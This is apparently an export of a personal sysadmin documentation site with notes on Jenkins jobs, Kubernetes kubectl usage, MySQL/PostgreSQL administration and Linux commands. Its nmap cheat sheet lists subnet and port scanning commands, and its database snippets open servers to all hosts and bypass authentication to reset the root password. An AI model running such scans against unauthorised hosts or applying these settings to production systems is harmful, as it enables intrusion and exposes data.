--- # Building Applications with Freestyle Jobs Source: docs/computing/jenkins/getting-started/building-applications-with-freestyle-jobs.md URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/building-applications-with-freestyle-jobs/ ## Anatomy of the Build - Git repo - Compile - Test - Package - Clean - rinse & repeat ## Manually Building with Maven and Running App ``` bash git clone git@github.com:CalebSargeant/jgsu-spring-petclinic.git --config core.sshCommand="ssh -i ~/.ssh/github" cd jgsu-spring-petclinic ./mvnw compile ./mvnw test ./mvnw package java -jar target/spring-petclinic-2.3.1.BUILD-SNAPSHOT.jar ``` ## Packaging an App in Jenkins !!! note Workspaces are temporary!
![jenkins](_images/jenkins-6.png)
Give your item a name
![jenkins](_images/jenkins-7.png)
Input the repo url, ensure branch is correct (main vs master)
![jenkins](_images/jenkins-8.png)
To build a project, click Build now
![jenkins](_images/jenkins-9.png)
You can use mvnw commands for building
![jenkins](_images/jenkins-10.png)
We'll want to package our app, also exclude *.jar from being deleted
![jenkins](_images/jenkins-11.png)
You can configure test reports from the xml files
![jenkins](_images/jenkins-12.png)
Checking the health status of a build
![jenkins](_images/jenkins-13.png)
Configuring polling git for changes to code to build automatically
![jenkins](_images/jenkins-14.png)
You can check the recent changes of a build and drill down into git diffs
--- # Colocating Jobs and Source Code with Jenkinsfile Source: docs/computing/jenkins/getting-started/colocating-jobs-and-source-code-with-jenkinsfile.md URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/colocating-jobs-and-source-code-with-jenkinsfile/ View the [Pipeline Syntax documentation online:](https://www.jenkins.io/doc/book/pipeline/syntax/#agent) Download example pipeline: [pipeline.groovy](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/jenkins/getting-started/_docs/pipeline.groovy)
![jenkins](_images/jenkins-25.png)
Adding a trigger to the pipeline
![jenkins](_images/jenkins-26.png)
Configuring Email server for Jenkins
![jenkins](_images/jenkins-27.png)
Post Declarative Directive generator for regression, fixed, and changed
View the [Global Variable Reference](https://www.jenkins.io/doc/book/pipeline/getting-started/#global-variable-reference)
![jenkins](_images/jenkins-28.png)
Generating email pipeline syntax
![jenkins](_images/jenkins-29.png)
pipeline from single repo - scm
!!! note You can create a new item and have Jenkins scan all repos in a GitHub org for Jenkinsfiles and create build processes for each --- # Getting Started Source: docs/computing/jenkins/getting-started/index.md URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/ --- # Setting up Jenkins Source: docs/computing/jenkins/getting-started/setting-up-jenkins.md URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/setting-up-jenkins/ ## Setup Wizard ![jenkins](_images/jenkins-1.png) ![jenkins](_images/jenkins-2.png) ![jenkins](_images/jenkins-3.png) ![jenkins](_images/jenkins-4.png) ![jenkins](_images/jenkins-5.png) --- # Jenkins Source: docs/computing/jenkins/index.md URL: https://docs.calebsargeant.com/computing/jenkins/ --- # Plugins Source: docs/computing/jenkins/plugins/index.md URL: https://docs.calebsargeant.com/computing/jenkins/plugins/ --- # Installing and Using Plugins Source: docs/computing/jenkins/plugins/installing-and-using-plugins.md URL: https://docs.calebsargeant.com/computing/jenkins/plugins/installing-and-using-plugins/ --- # Managing and Upgrading Plugins Source: docs/computing/jenkins/plugins/managing-and-upgrading-plugins.md URL: https://docs.calebsargeant.com/computing/jenkins/plugins/managing-and-upgrading-plugins/ --- # Understanding Jenkins and the Plugin Model Source: docs/computing/jenkins/plugins/understanding-jenkins-and-the-plugin-model.md URL: https://docs.calebsargeant.com/computing/jenkins/plugins/understanding-jenkins-and-the-plugin-model/ --- # Writing Custom Plugins Source: docs/computing/jenkins/plugins/writing-custom-plugins.md URL: https://docs.calebsargeant.com/computing/jenkins/plugins/writing-custom-plugins/ --- # Certified Kubernetes Administrator (CKA) Source: docs/computing/kubernetes/cka.md URL: https://docs.calebsargeant.com/computing/kubernetes/cka/ ## Core Concepts ### Downloads [Core Concepts 1](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0100+-+Core+Concepts.pdf) [Core Concepts 2](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Core+concepts+-2.pdf) [Services](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/kubernetes-services-updated.pdf) ### Practice Labs - - - - - ## Scheduling ### Downloads [Scheduling](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0200+-+Scheduling.pdf) [Networking](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Networking.pdf) [Taints & Tolerants](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Udemy+Kubernetes+taints-tolerations.pdf) ### Practice Labs - - - - - - - - ## Logging & Monitoring ### Downloads [Logging & Monitoring](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0300+-+Logging-Monitoring.pdf) ### Practice Labs - - ## Application Lifecycle Management ### Downloads [Application Lifecycle Management](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0400+-+Application+Lifecycle+Management.pdf) ### Practice Labs - - - - - - ## Cluster Maintenance ### Downloads [Cluster Maintenance](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes-CKA-0500-Cluster+Maintenance-v1.2.pdf) ### Practice Labs - - - - ## Security ### Downloads [Security](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0600+-+Security.pdf) ### Practice Labs - - - - - - - - - ## Storage ### Downloads [Storage](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0700+-+Storage.pdf) ### Practice Labs - - ## Networking ### Downloads [Networking](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0800+-+Networking-v1.2.pdf) [Ingress](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Ingress.pdf) ### Practice Labs - - - - - - - - ## Design and Install a Kubernetes Cluster ### Downloads [Design and Install](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0900+-+Install-v1.4.pdf) ## Install Kubernetes the kubeadm Way ### Practice Labs - ## Troubleshooting ### Downloads [Troubleshooting](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes-CKA-1000-Troubleshooting.pdf) ### Practice Labs - - - - ## Other Topics ### Practice Labs - - --- # Moving to Declarative YAML Source: docs/computing/kubernetes/declarative-yaml.md URL: https://docs.calebsargeant.com/computing/kubernetes/declarative-yaml/ ## kubectl apply - Remember the three management approaches? - Let's skip to full Declarative objects - `kubectl apply -f filename.yml` - Why skip `kubectl create`, `kubectl replace`, `kubectl edit`? - What I recommend is not equal to all thats possible ### Using kubectl apply - Create/update resources in a file > - `kubectl apply -f myfile.yaml` - Create/update a whole directory of yaml > - `kubectl apply -f myyaml/` - Create/update from a URL > - `kubectl apply -f https://bret.run/pod.yml` - Be careful, lets look at it first (browser or curl) > - `curl -L https://bret.run/pod` ## Kubernetes Configuration YAML - Kubernetes config file (YAML or JSON) - Each file contains one or more manifests - Each manifest describes an API object (deployment, job, secret) - Each manifest needs four parts (root key:values in the file) > - apiVersion > - kind > - metadata > - spec ## Building your YAML Files - **kind:** We can get a list of resources the cluster supports > - `kubectl api-resources` - Notice some resoucres have multiple APIs (old vs new) - **apiVersion** We can get the API versions the cluster supports > - `kubectl api-versions` - **metadata:** only name is required - **spec:** Where all the action is at! ## Buildng your YAML Spec - We can get all the keys each **kind** supports > - `kubectl explain services --recursive` > - `kubectl explain services.spec` - We can walk through the spec this way > - `kubectl explain services.spec.type` - spec: can have sub spect: of other resources > - `kubectl explain deployment.spec.template.spec.volumes.nfs.server` - We can also use docs > - kubernetes.io/docs/reference/#api-reference ## Dry Runs and Diffs - dry-run a create (client side only) > - `kubectl apply -f app.yml --dry-run` - dry-run a create/update on server > - `kubectl apply -f app.yml --server-dry-run` - see a diff visually > - `kubectl diff -f app.yml` ## Labels and Annotations - Labels goes under **metadata:** in your YAML - Simple list of **key: value** for identifying your resource later by selecting, grouping, or filtering for it - Common examples include **tier: frontend, app: api, env: prod, customer: acme.co** - Not meant to hold complex, large, or non-identifying info, which is what **annotations** are for - filter a get command > - `kubectl get pods -l app=nginx` - apply only matching labels > - `kubectl apply -f myfile.yaml -l app=nginx` ## Label Selectors - The "glue" telling Services and Deployments which pods are theirs - Many resources use Label Selectors to "link" resource dependancies - You'll see these match up in the Service and Deployment YAML - Use Labels and Selectors to control which pods go to which nodes - Taints and Tolerations also control node placement --- # Exposing Kubernetes Ports Source: docs/computing/kubernetes/exposing-ports.md URL: https://docs.calebsargeant.com/computing/kubernetes/exposing-ports/ ## Service Types ### Exposing Containers - `kubectl expose` creates a **service** for existing pods - A **service** is a stable address for pod(s) - If we want to connect to pod(s), we need a **service** - CoreDNS allows us to resolve **services** by name - There are different types of **services** > - ClusterIP > - NodePort > - LoadBalancer > - ExternalName ### Basic Service Types - ClusterIP (default) > - Single, internal virtual IP allocated > - Only reachable from within the cluster (nodes and podes) > - Pods can reach service on apps port number - NodePort > - High port allocated on each node > - Port is open on every node's IP > - Anyone can connect (if they can reach the node) > - Other pods need to be updated to this port - These services are always available in Kubernetes ### More Service Types - LoadBalancer > - Controls a LB endpoint external to the cluster > - Only available when infra provider gives ou a LB (AWS ELB, etc) > - Creates NodePort+ClusterIP services, tells LB to send to NodePort - ExternalName > - Adds CNAME DNS record to CoreDNS only > - Not used for Pods, but for giving pods a DNS name to use for something outside Kubernetes ## Creating a ClusterIP Service - Open two shell windos so we can watch this > - `kubectl get pods -w` - In second window, lets start a simple http server using sample code > - `kubectl create deployment httpenv --image=bretfisher/httpenv` - Scale it to 5 replicas > - `kubectl scale deployment/httpenv --replicas=5` - Lets create a ClusterIP service (default) > - `kubectl expose deployment/httpenv --port 8888` ### Inspecting ClusterIP Service - Look up what IP was allocated > - `kubectl get service` - Remember this IP is cluster internal only, how do we curl it? - If you're on DOcker Desktop (Host OS is not container OS) > - `kubectl run --generator=run-pod/v1 tmp-shell --rm -it --image bretfisher/netshoot -- bash` > - `curl httpenv:8888` - If you're on Linux host > - curl \[ip of service\]:8888 ## Creating a NodePort and LoadBalancer Service ### Create a NodePort Service - Lets expose a NodePort so we can access it via the host IP (including localhost) > - `kubetcl expose deployment/httpenv --port 8888 -name httpenv-np --type NodePort` - Did you know that a NodePort service also creates a ClusterIP? - These three services are additive, each one creates the ones above it: > - ClusterIP > - NodePort > - LoadBalancer ### Add a LoadBalancer Service - If you're on Docker Desktop, it provides a built-in LoadBalancer that publishes the --port on localhost > - `kubectl expose deployment/httpenv --port 8888 --name httpenv-lb --type LoadBalancer` > - `curl localhost:8888` - If you're on kubeadm, minikube, or microk8s > - No built-in LB > - You can still run the command, it'll just stay at "pending" (but its NodePort works) ## Kubernetes Services DNS - Starting with 1.11, internal DNS is provided by CoreDNS - Like Swarm, this is DNS-Based Service Discovery - So far we've been using hostnames to access services > - `curl ` - But that only works for Services in the same Namespace > - `kubectl get namespaces` - Services also have a FQDN > - `curl ..svc.cluster.local` --- # General Source: docs/computing/kubernetes/general.md URL: https://docs.calebsargeant.com/computing/kubernetes/general/ A Kubernetes deployment is a tier/micro-service of an application. The deployment isn't a container. A Kubernetes pod is an atomic unit of work and everything it takes to run a deployment. It could be one or more containers per pod. ``` bash # View Kubernetes deployments kubectl get deployments # Show the running instances in a wide overview kubectl get pods -o wide # Show the load-balancers that give access kubectl get services # Show the clustered nodes kubectl get nodes # Get the IP Addresses of nodes kubectl -n nodename get pods -o wide # Move an application (change annotation) kubectl -n nodename annotate pod podname example.com/endpoint-group='{"tenant":"tenantname","app-profile":"approfilename","name":"applicationname"}' --overwrite ``` --- # Kubernetes Source: docs/computing/kubernetes/index.md URL: https://docs.calebsargeant.com/computing/kubernetes/ --- # Kubernetes Install Source: docs/computing/kubernetes/install.md URL: https://docs.calebsargeant.com/computing/kubernetes/install/ ## Architecture Terminology - Kubernetes: the whole orchestration system > - K8s "k-eights" or Kube for short - Kubectl: CLI to configure Kubernetes and manage apps > - Using "cube control" official pronunciation - Node: Single server in the Kubernetes cluster - Kubelet: Kubernetes agent running on nodes - Control Plane: Set of containers that manage the cluster > - Includes API server, scheduler, controller manager, etcd, and more > - Sometimes called the master ![kubernetes architecture](_images/kubernetes-architecture.png) ## Installing Kubernetes - Kubernetes is a series of containers, CLIs and configurations - Many ways to install - Docker Desktop: Enable in settings > - Sets up everything inside Docker's existing Linux VM - Docker Toolbox on Windows: MiniKube > - Uses VirtualBox to make Linux VM - Your Own Linux Host or VM: MicroK8s > - Installs Kubernetes right on the OS - Kubernetes in a browser > - Try or katacoda.com in a browser ## Container Abstractions - **Pod:** one or more containers running together on one Node > - Basic unit of deployment. Containers are always in pods - **Controller:** For creating/updating pods and other objects > - Many types of Controllers inc. Deployment, ReplicaSet, StatefulSet, DaemonSet, Job, CronJob, etc. - **Service:** network endpoint to connect to a pod - **Namespace:** Filtered group of objects in cluster - Secrets, ConfigMaps, and more ## Kubectl Command Styles - Kubernets is evolving, and so is the CLI - We get three ways to create pods from the kubectl CLI > - `kubectl run` (changing to be only for pod creation) > - `kubectl create` (create some resources via CLI or YAML) > - `kubectl apply` (create/update anything via YAML) ## Our First Pod ### Creating Pods with kubectl - Are we working? > - `kubectl version` - Two ways to deploy Pods (containers): via commands, or via YAML - Lets run a pod of the nginx web server! > - `kubectl run my-nginx --image nginx` - Lets list the pod > - `kubectl get pods` - Lets see all objects > - `kubectl get all` ### Pods -\> ReplicaSet -\> Deployment ![kubernetes pods](_images/kubernetes-pods.png) ### Cleanup - Delete deployment > - `kubectl delete deployment my-nginx` ## Scaling ReplicaSets - Start a new deployment for one replica/pod > - `kubectl run my-apache --image httpd` - Lets scale it up with another pod > - `kubectl scale deploy/my-apache --replicas 2` > - `kubectl scale deployment my-apace --replicas 2` > - Same command > - deploy = deployment = deployments ## Inspecting Deployments - `kubectl get pods` - Get container logs > - `kubectl logs deploy my-apache --follow --tail 1` - Get a bunch of details about an object including events! > - `kubectl logs -l run=my-apache` > - `kubectl describe pod/my-apache-xxxxxx-yyyyy` - Watch a command (without needing `watch`) > - `kubectl get pods -w` - In a seperate window > - `kubectl delete pod/my-apache-xxx-yyy` - Watch the pod get re-created --- # Kubernetes Management Techniques Source: docs/computing/kubernetes/management-techniques.md URL: https://docs.calebsargeant.com/computing/kubernetes/management-techniques/ ## Run, Expose, and Create Generators - These commands use helper templates called "generators" - Every resource in kubernetes has a specification or "spec" > - `kubectl create deployment sample --image nginx --dry-run -o yaml` - You can output those templates with `--dry-run -o yaml` - You can use those YAML defaults as a starting point - Generators are "opinionated defaults" ### Generator Examples - Using dry-run with yaml output we can see the generators > - `kubectl create deployment test --image nginx --dry-run -o yaml` > - `kubectl create job test --image nginx --dry-run -o yaml` > - `kubectl expose deployment/test --port 80 --dry-run -o yaml` ## The Future of kubectl run - Right now (1.12-1.15) run is in a state of flux - The goal is to reduce its features to only create pods > - Right now its defaults to creating Deployments (with the warning) > - It has lots of generators but they are all deprecated > - The idea is to make it easy like `docker run` for one-off tasks - It's not recommended for production - Use for simple dev/test or troubleshooting pods ### Old Run Confusion - The generators activate different Controllers based on options - Using dry-run we can see which generators are used > - `kubectl run test --image nginx --dry-run` > - `kubectl run test --image nginx --port 80 expose --dry-run` > - `kubectl run test --image nginx --restart OnFailure --dry-run` > - `kubectl run test --image nginx --restart Never --dry-run` > - `kubectl run test --image nginx --schedule "*/1 * * * *" --dry-run` ## Imperative vs Declaritive - Imperative: Focus on *how* a program operates - Declarative: Focus on *what* a program should accomplish - Example: "I'd like a cup of coffee" - Imperative: I boil water, scoop out 42 grams of medium-fine grounds, pour over 700 grams of water, etc. - Declarative: "Barista, I'd like a cup of coffee (barista is the engine that works through the steps, including retrying to make a cup and is only finished when I have a cup)" ### Kubernetes Imperative - Examples: `kubectl run`, `kubectl create deployment`, `kubectl update` > - We start with a state we know (no deployments exist) > - We ask kubectl run to create a deployment - Different commands are required to change that deployment - Different commands are required per object - Imparitive is easier when you know the state - Imparitive is easier to get started - Imparative is easier for humans at the CLI - Imperative is NOT easy to automate ### Kubernetes Declarative - Example: `kubectl apple -f my-resources.yaml` > - We don't know the current state > - We only know what we want the end result to be (yaml contents) - Same command each time (tiny exception for delete) - Resources can be all in a file, or many files (apply a whole dir) - Requires understanding the YAML keys and values - More work than `kubectl run` for just starting a pod - The easiest way to automate - The eventual path to GitOps hapinness ## Management Approaches - Imperative commands: run, expose, scale, edit, create deployment > - Best for dev/learning/personal projects > - Easy to learn, hardest to manage over time - Imperative objects: create -f file.yml, replace -f file.yml, delete... > - Good for prod of small environments, single file per command > - Store your changes in git-based yaml files > - Hard to automate - Declarative objects: apply -f file or dir, diff > - Best for prod, easier to automate > - Harder to understand and predict changes - Most important rule > - DOn't mix the three approaches > - Learn the Imperative CLI for easy control of local and test setups > - Move to apply -f file.yml and apply -f directoryfor prod > - Store yaml in git, git commit each change before > - THis trains you later doing GitOPs (where git commits are automatically applied to clusters) --- # Future of Kubernetes Source: docs/computing/kubernetes/next-steps.md URL: https://docs.calebsargeant.com/computing/kubernetes/next-steps/ ## Storage - Storage and stateful workloads are harder in all sytems - Containers make it both harder and easier than before - **StatefulSets** is a new resource type, making Pods more sticky - Avoid stateful workloads for fist few deployments until you're good at the basics > - Use db-as-a-service whenever you can ## Volumes - Creating and connecting Volumes: 2 types - **Volumes** > - Tied to lifecycle of a pod > - All containers in a single Pod can share them - **PersistentVolumes** > - Created at the cluster level, outlives a Pod > - Seperates storage config from Pod using it > - Multiple Pods can share them - CSI plugins are the new way to connect to storage ## Ingress Controller - None of our Service types work at OSI Layer 7 (HTTP) - How do we route outside connections based on hostname or URL? - Incress Controllers (optional) do this with 3rd proxy parties - Nginx is popular, Traefik, HAProxy, F5, Envoy, Istio, etc. - Implementation is specific to Controller chosen ## Custom Resources ### CRD's and The Operator Pattern - YOu can add 3rd party Resources and Controllers - THis extends Kubernetes API and CLI - A pattern is starting to emerge of using these together - Operator: automate deployment and management of complex apps - e.g. Databases, monitoring tools, backups, and custom ingresses ## Higher Deployment Abstractions - All our `kubectl` commands just talk to the Kubernets API - Kubernetes has limited built-in templating, versioning, tracking, and management of your apps - There are now over 60 3rd party tools to do that , but many are defunct - **Helm** is the most popular - "Compose on Kubernetes" comes with Docker Desktop - Remember these are optional, and your distro may havbe a preference - Most distros support **Helm** ### Templating YAML - Many of the deployment tools have templating options - You'll need a solution as the number of environments/apps grow - **Helm** was the first "winner" in this space, but can be complex - Official **Kustomize** feature works out-of-the-box (as of 1.14) - `docker app` and compose-on-kubernetes are Docker's way ## Kubernetes Dashboard - Default GUI for "upstream" Kubernetes > - github.com/Kubernetes/dashboard - Some distributions have their own GUI (Rancher, Docker Ent, OpenShift) - Clouds dont have it by default - Let's you view resources and upload YAML - Safety first! ## Namespaces and Context - Namespaces limit scope, aka "virtual clusters" - Not related to Docker/Linux namespaces - Won't need them in small clusters - There are some built-in, to hide system stuff from `kubectl` "users" > - `kubectl get namespaces` > - `kubectl get all --all-namespaces` - Context changes `kubectl` cluster and namespace - See ~/.kube/config file - `kubectl config get-contexts` - `kubectl config set*` ## Future of Kubernetes - More focus on stability and security > - 1.14, 1.15, largely dull releases (good thing) > - Recent security audit has created backlog - Clearing away deprecated features like kubectl run generators - Improving features like server-side dry-run - More and improved Operators - Helm 3.0 (easier deployment, chart repos, libs) - More declarative-style features - Better Windows Server support - More edge cases, kubeadm HA clusters ### Related Projects - Kubernetes has become "differencing and scheduling engin backbone" for so many new projects - Knative - Serverless workloads on Kubernetes - k3s - mini, simple Kubernetes - k3OS - Minimal Linux OS for k3s - Service Mesh - New layer in distributed app traffic for better control, security and monitoring --- # Databases Source: docs/computing/linux/databases.md URL: https://docs.calebsargeant.com/computing/linux/databases/ ## MySQL ### Creating a User ``` bash # Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql create user 'myuser'@'localhost' identified by 'password'; ``` ### Deleting a User ``` bash # Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql drop user 'user'@'localhost'; ``` ### Showing Users ``` bash select user from mysql.user; select user,host from mysql.user; ``` ### Logging in Remotely ``` bash # You can -p'mypassword' as well mysql -u myuser -p -h mydbhostname.com -D mydatabase ``` ### Privileges ``` bash ALL PRIVILEGES- as we saw previously, this would allow a MySQL user full access to a designated database (or if no database is selected, global access across the system) CREATE- allows them to create new tables or databases DROP- allows them to them to delete tables or databases DELETE- allows them to delete rows from tables INSERT- allows them to insert rows into tables SELECT- allows them to use the SELECT command to read through databases UPDATE- allow them to update table rows GRANT OPTION- allows them to grant or remove other users’ privileges ``` ### Granting Privileges ``` bash # Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql grant all privileges on mydb.* to 'user'@'localhost'; flush privileges; # Granting one privilege: grant select privilege on *.* to user@host; ``` ### Revoking Privileges ``` bash # Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql revoke DROP on databasename.tablename from 'username'@'localhost'; flush privileges; ``` ### Showing Privileges ``` bash show grants for 'username'@'host'; ``` ### Updating Data ``` bash update table set column1=newvalue1, column2=newvalue2, where condition; ``` ### Deleting Data ``` bash delete from table_name where condition; ``` ### Checking MySQL Status ``` bash service mysqld status ps aux | grep mysql ``` ### Backup ``` bash # Backup directly to a remote host (zabbix is the DB name) # That pipes the mysqldump command through gzip, then to through and SSH connection. SSH on the remote side runs the ‘cat’ command to read the stdin, then redirects that to the actual file where I want it saved. mysqldump -u root -p zabbix | gzip -c | ssh caleb.sargeant@server.example.com "cat > zabbix.sql.gz" ``` ### Restore The file must be in .sql format. It can not be compressed in a .zip or .tar.gz file. `mysql -p -u username database_name < file.sql` ### Use ``` bash show databases; use database; ``` ### Setting up Replication ### Size of DB ``` bash SELECT table_schema "zabbix", ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB" FROM information_schema.tables GROUP BY table_schema; select table_schema "DB Name", round(sum(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB" From information_schema.tables group by table_schema; ``` ### Resetting Root Password ``` bash /etc/init.d/mysqld stop mysqld_safe --skip-grant-tables & mysql -u root mysql> use mysql; mysql> update user set password=PASSWORD("newrootpassword") where User='root'; mysql> flush privileges; mysql> quit /etc/init.d/mysqld stop /etc/init.d/mysqld start ``` ### Resetting User Password ``` bash # MySQL v5.7.6 or later / MariaDB 10.1.20 or later ALTER USER 'user-name'@'localhost' IDENTIFIED BY 'NEW_USER_PASSWORD'; FLUSH PRIVILEGES; # If the above didn't work: UPDATE mysql.user SET authentication_string = PASSWORD('NEW_USER_PASSWORD') WHERE User = 'user-name' AND Host = 'localhost'; FLUSH PRIVILEGES; # MySQL v5.7.5 or earlier / MariaDB 10.1.20 or earlier SET PASSWORD FOR 'user-name'@'localhost' = PASSWORD('NEW_USER_PASSWORD'); FLUSH PRIVILEGES; ``` ### Update Encrypted Password ``` bash update table set password=encrypt(password); ``` ### Allow Root Access without Password as Root In ~/.my.cnf file as root user: ``` bash [client] user=root password=somepassword ``` ### Checking the Version ``` bash # https://stackoverflow.com/questions/8987679/how-to-retrieve-the-current-version-of-a-mysql-database-management-system-dbms select @@version; ``` ### Checking Database Size ``` bash SELECT table_schema "DB Name", ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB" FROM information_schema.tables GROUP BY table_schema; ``` ### Connect to Database Remotely ``` bash mysql -u fooUser -p -h 44.55.66.77 ``` ### Import Database with Progress Bar ``` bash pv dump.sql.tar.gz | tar xO | mysql -u $user -p $database # Or pv sqlfile.sql | mysql -u root -p database ``` ### Reinstall Mysql after Deleting /var/lib/mysql ``` bash mkdir /var/lib/mysql mkdir /var/lib/mysql/mysql chown -R mysql:mysql /var/lib/mysql mysql_secure_installation ``` ### Could not open mysql.plugin table ``` bash systemctl stop mariadb # This will delete all database data! rm -R /var/lib/mysql/* mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql systemctl start mariadb ``` ### Mysql Refuses Remote Connections ``` bash # my.cnf [mysqld] bind-address = 0.0.0.0 ``` ### Access Denied for User Root at Localhost ### Authentication Plugin Caching Sha2 Password Cannot be Loaded ``` bash ALTER USER 'yourusername'@'localhost' IDENTIFIED WITH mysql_native_password BY 'youpassword'; ``` ### Change MySQL Temp Folder ``` bash nano /etc/mysqld.cnf [mysqld] tmpdir=/var/lib/mysql/tmp mysqld --verbose --help | grep tmp ``` ### Installing MySQL ``` bash apt install mysql-server mysql_secure_installation ``` ### Json Like Query ``` bash select * from module_data where data::json->>'title' like '%Board%' select * from module_data where data->>'title' like '%Board%' ``` ### Converting Epoch to Human Readable Date ``` bash select from_unixtime(); ``` ### Find Columns in Tables ``` bash SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('columnA','ColumnB') AND TABLE_SCHEMA='YourDatabase'; ``` ## PostgreSQL ### Showing Users :~:text=Using%20psql%20command,-Log%20into%20PostgreSQL&text=Enter%20password%20to%20log%20into%20PostgreSQL.&text=Enter%20%5Cdu%20command%20to%20list%20all%20users%20in%20PostrgeSQL.&text=You%20will%20see%20the%20list,user%2C%20enter%20%5Cdu%2B%20command. ``` text \du+ ``` ### Deleting Rows ``` bash delete from msisdn_seen where msisdn like '27234843223'; ``` ### Selecting Rows ``` bash # remember to use \G to display it nicely select * from msisdn_seen where msisdn like '27234843223'; ``` ### Updating Data in Table ``` bash update table_name set column1=value1 where condition; ``` ### Show Tables ``` bash \dt ``` ### Connect to Database Same as use in mysql ``` bash \c database; ``` ### Backup Database ``` bash pg_dumpall -U postgres -h localhost --clean --file=dump.sql ``` ### Disable Pager ``` bash PAGER="less -S" psql ``` ### Extracting JSON ``` bash select event_time,detail->>'msisdn',detail->>'attachment' from table where whatever=whatever and event_time > '2021-12-22 00:00:01' and event_time <= '2022-01-07 23:59:59' and detail->>'attachment' like '%this%' order by id desc; ``` ### Reducing Disk Usage :~:text=1%20Answer&text=The%20temporary%20files%20that%20get,not%20delete%20them%20by%20hand. Temporary files are created in `base/pgsql_tmp`. Rebooting psql forces the clearing of tmp files by restarting the cleanup query. ### Show Running Queries :~:text=Long%2Dlasting%20%22idle%20in%20transaction%22%20should%20be%20avoided%2C,can%20cause%20major%20performance%20problems. ``` sql SELECT pid, age(clock_timestamp(), query_start), usename, query FROM pg_stat_activity WHERE query != '' AND query NOT ILIKE '%pg_stat_activity%' ORDER BY query_start desc; select * from pg_stat_activity; ``` ### Connect to PostgreSQL server FATAL no pg_hba.conf entry for host ``` bash # postgresql.conf listen_addresses = '*' # pg_hba.conf # TYPE DATABASE USER CIDR-ADDRESS METHOD host all all 0.0.0.0/0 md5 service postgresql restart ``` ### Vacuum :~:text=Connect%20to%20the%20database%20and,which%20will%20also%20update%20statistics. Vacuuming your postgres db must be done once in a while. ``` bash VACUUM; ``` ### Database Sizes ``` bash SELECT pg_database.datname as "database_name", pg_database_size(pg_database.datname)/1024/1024 AS size_in_mb FROM pg_database ORDER by size_in_mb DESC; ``` --- # General Source: docs/computing/linux/general.md URL: https://docs.calebsargeant.com/computing/linux/general/ General, random and useful Linux-related config and things. A good site to browse random commands and things: ## Apt & Yum Cheat Sheets : [Apt Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/APT%20Cheat%20Sheet%20-%20Packagecloud%20Blog.pdf) [Yum Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/Yum%20Cheat%20Sheet%20-%20Packagecloud%20Blog.pdf) ## Yum ### Clear Yum Cache ``` bash yum clean all ``` ## Nmap ``` bash # Scan a host nmap www.hostname.com # Scan a range nmap 192.168.0.1-10 # Scan a subnet nmap 192.168.0.1/24 # Scan a list of hosts nmap -iL textlist.txt # Scan a port nmap -p 80 192.168.0.1 # Scan a range of ports nmap -p 1-200 192.168.0.1 # Fast scan most common ports nmap -F 192.168.0.1 # Scan all ports nmap -p- 192.168.0.1 # Scan using TCP connect (takes longer but more likely to connect) nmap -sT 192.168.0.1 # Scan default SYN scan (tests by performing only half the TCP handshake) nmap -sS 192.168.0.1 # Scan UDP ports nmap -sU -p 80,130,255 192.168.0.1 # Bypass host discovery (host discovery uses ping, but many firewalls don't respond to ping. This runs the test without waiting for ping response) nmap -Pn -F 192.168.0.1 # Detect OS nmap -A 192.168.0.1 # Scan for services that might be using different ports nmap -sV 192.168.0.1 ``` ## Rsync ``` bash # rsync without owner and group attributes rsync -avP --no-o --no-g /mnt/data/share/ /mnt/server3/Backups/ # cronning rsync (https://unix.stackexchange.com/questions/392780/how-to-schedule-an-rsync-command) crontab -e 0 19 * * * root rsync -a src dest # rsync showing progress (https://www.cyberciti.biz/faq/show-progress-during-file-transfer/) rsync -P src dest # rsync exclude stuff rsync -avP --exclude 'file_or_dir' src/ dst/ # rsync exclude from source file list cat excl-list.txt thisdir thatdir myfile.txt rsync -av --exclude-from={excl-list.txt} # stop rsync from bandwidth vreet (https://www.cyberciti.biz/faq/how-to-set-keep-rsync-from-using-all-your-bandwidth-on-linux-unix/) rsync -avP --bwlimit=KBps rsync -avP --bwlimit=1024 src/ dst/ # rsync specify multiple source dirs (https://unix.stackexchange.com/questions/368210/how-to-rsync-multiple-source-folders) rsync -avP /src/one /src/two /src/etcetra /dst ``` ### Rsync Compare Directories ``` bash rsync -nai --delete source destination | grep "^deleting " ``` ## 